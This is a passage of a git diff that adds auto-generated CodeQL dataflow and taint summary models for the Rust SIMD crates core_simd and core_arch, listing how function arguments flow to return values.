"::select_mask", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::select_mask", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::select_mask", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::not", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::to_int", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::to_int", "Argument[self].Field[crate::core_simd::masks::mask_impl::Mask(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::as_mut", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::as_ref", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::from", "Argument[0].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::from", "Argument[0].Field[crate::core_simd::masks::mask_impl::Mask(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::recip", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::to_degrees", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::to_radians", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::abs", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::not", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::index", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::index_mut", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::as_array", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::as_mut_array", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::to_usize", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::to_usize", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::to_usize", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::to_usize", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::to_usize", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::reverse_bits", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::reverse_bits", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::reverse_bits", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::reverse_bits", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "crate::simd_inv4x4", "Argument[0].Field[0]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::Matrix4x4(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "crate::simd_inv4x4", "Argument[0].Field[crate::Matrix4x4(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::Matrix4x4(0)]", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/rust/repo-https-github.com-rust-lang-stdarch-core_arch.model.yml b/rust/ql/lib/ext/generated/rust/repo-https-github.com-rust-lang-stdarch-core_arch.model.yml new file mode 100644 index 00000000000..f54a86498d3 --- /dev/null +++ b/rust/ql/lib/ext/generated/rust/repo-https-github.com-rust-lang-stdarch-core_arch.model.yml @@ -0,0 +1,1195 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::f16x16(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::f16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[10]", "ReturnValue.Field[crate::core_arch::simd::f16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[11]", "ReturnValue.Field[crate::core_arch::simd::f16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[12]", "ReturnValue.Field[crate::core_arch::simd::f16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[13]", "ReturnValue.Field[crate::core_arch::simd::f16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[14]", "ReturnValue.Field[crate::core_arch::simd::f16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[15]", "ReturnValue.Field[crate::core_arch::simd::f16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::f16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[2]", "ReturnValue.Field[crate::core_arch::simd::f16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[3]", "ReturnValue.Field[crate::core_arch::simd::f16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[4]", "ReturnValue.Field[crate::core_arch::simd::f16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[5]", "ReturnValue.Field[crate::core_arch::simd::f16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[6]", "ReturnValue.Field[crate::core_arch::simd::f16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[7]", "ReturnValue.Field[crate::core_arch::simd::f16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[8]", "ReturnValue.Field[crate::core_arch::simd::f16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[9]", "ReturnValue.Field[crate::core_arch::simd::f16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[10]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[11]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[12]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[13]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[14]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[15]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[16]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[17]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[18]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[19]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[20]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[21]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[22]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[23]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[24]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[25]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[26]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[27]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[28]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[29]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[2]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[30]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[31]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[3]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[4]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[5]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[6]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[7]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[8]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[9]", "ReturnValue.Field[crate::core_arch::simd::f16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::f16x4(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::f16x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::f16x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[2]", "ReturnValue.Field[crate::core_arch::simd::f16x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[3]", "ReturnValue.Field[crate::core_arch::simd::f16x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::f16x8(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::f16x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::f16x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[2]", "ReturnValue.Field[crate::core_arch::simd::f16x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[3]", "ReturnValue.Field[crate::core_arch::simd::f16x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[4]", "ReturnValue.Field[crate::core_arch::simd::f16x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[5]", "ReturnValue.Field[crate::core_arch::simd::f16x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[6]", "ReturnValue.Field[crate::core_arch::simd::f16x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[7]", "ReturnValue.Field[crate::core_arch::simd::f16x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::f32x16(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::f32x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[10]", "ReturnValue.Field[crate::core_arch::simd::f32x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[11]", "ReturnValue.Field[crate::core_arch::simd::f32x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[12]", "ReturnValue.Field[crate::core_arch::simd::f32x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[13]", "ReturnValue.Field[crate::core_arch::simd::f32x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[14]", "ReturnValue.Field[crate::core_arch::simd::f32x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[15]", "ReturnValue.Field[crate::core_arch::simd::f32x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::f32x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[2]", "ReturnValue.Field[crate::core_arch::simd::f32x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[3]", "ReturnValue.Field[crate::core_arch::simd::f32x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[4]", "ReturnValue.Field[crate::core_arch::simd::f32x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[5]", "ReturnValue.Field[crate::core_arch::simd::f32x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[6]", "ReturnValue.Field[crate::core_arch::simd::f32x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[7]", "ReturnValue.Field[crate::core_arch::simd::f32x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[8]", "ReturnValue.Field[crate::core_arch::simd::f32x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[9]", "ReturnValue.Field[crate::core_arch::simd::f32x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::f32x2(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::f32x2(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::f32x2(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::f32x4(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::f32x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::f32x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[2]", "ReturnValue.Field[crate::core_arch::simd::f32x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[3]", "ReturnValue.Field[crate::core_arch::simd::f32x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::f32x8(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::f32x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::f32x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[2]", "ReturnValue.Field[crate::core_arch::simd::f32x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[3]", "ReturnValue.Field[crate::core_arch::simd::f32x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[4]", "ReturnValue.Field[crate::core_arch::simd::f32x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[5]", "ReturnValue.Field[crate::core_arch::simd::f32x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[6]", "ReturnValue.Field[crate::core_arch::simd::f32x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[7]", "ReturnValue.Field[crate::core_arch::simd::f32x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::f64x1(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::f64x1(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::f64x2(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::f64x2(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::f64x2(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::f64x4(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::f64x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::f64x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[2]", "ReturnValue.Field[crate::core_arch::simd::f64x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[3]", "ReturnValue.Field[crate::core_arch::simd::f64x4(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::f64x8(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::f64x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::f64x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[2]", "ReturnValue.Field[crate::core_arch::simd::f64x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[3]", "ReturnValue.Field[crate::core_arch::simd::f64x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[4]", "ReturnValue.Field[crate::core_arch::simd::f64x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[5]", "ReturnValue.Field[crate::core_arch::simd::f64x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[6]", "ReturnValue.Field[crate::core_arch::simd::f64x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[7]", "ReturnValue.Field[crate::core_arch::simd::f64x8(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i16x16(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[10]", "ReturnValue.Field[crate::core_arch::simd::i16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[11]", "ReturnValue.Field[crate::core_arch::simd::i16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[12]", "ReturnValue.Field[crate::core_arch::simd::i16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[13]", "ReturnValue.Field[crate::core_arch::simd::i16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[14]", "ReturnValue.Field[crate::core_arch::simd::i16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[15]", "ReturnValue.Field[crate::core_arch::simd::i16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::i16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[2]", "ReturnValue.Field[crate::core_arch::simd::i16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[3]", "ReturnValue.Field[crate::core_arch::simd::i16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[4]", "ReturnValue.Field[crate::core_arch::simd::i16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[5]", "ReturnValue.Field[crate::core_arch::simd::i16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[6]", "ReturnValue.Field[crate::core_arch::simd::i16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[7]", "ReturnValue.Field[crate::core_arch::simd::i16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[8]", "ReturnValue.Field[crate::core_arch::simd::i16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[9]", "ReturnValue.Field[crate::core_arch::simd::i16x16(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i16x2(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i16x2(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[1]", "ReturnValue.Field[crate::core_arch::simd::i16x2(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::from_array", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i16x32(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[0]", "ReturnValue.Field[crate::core_arch::simd::i16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[10]", "ReturnValue.Field[crate::core_arch::simd::i16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[11]", "ReturnValue.Field[crate::core_arch::simd::i16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[12]", "ReturnValue.Field[crate::core_arch::simd::i16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[13]", "ReturnValue.Field[crate::core_arch::simd::i16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[14]", "ReturnValue.Field[crate::core_arch::simd::i16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[15]", "ReturnValue.Field[crate::core_arch::simd::i16x32(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "::new", "Argument[16]", 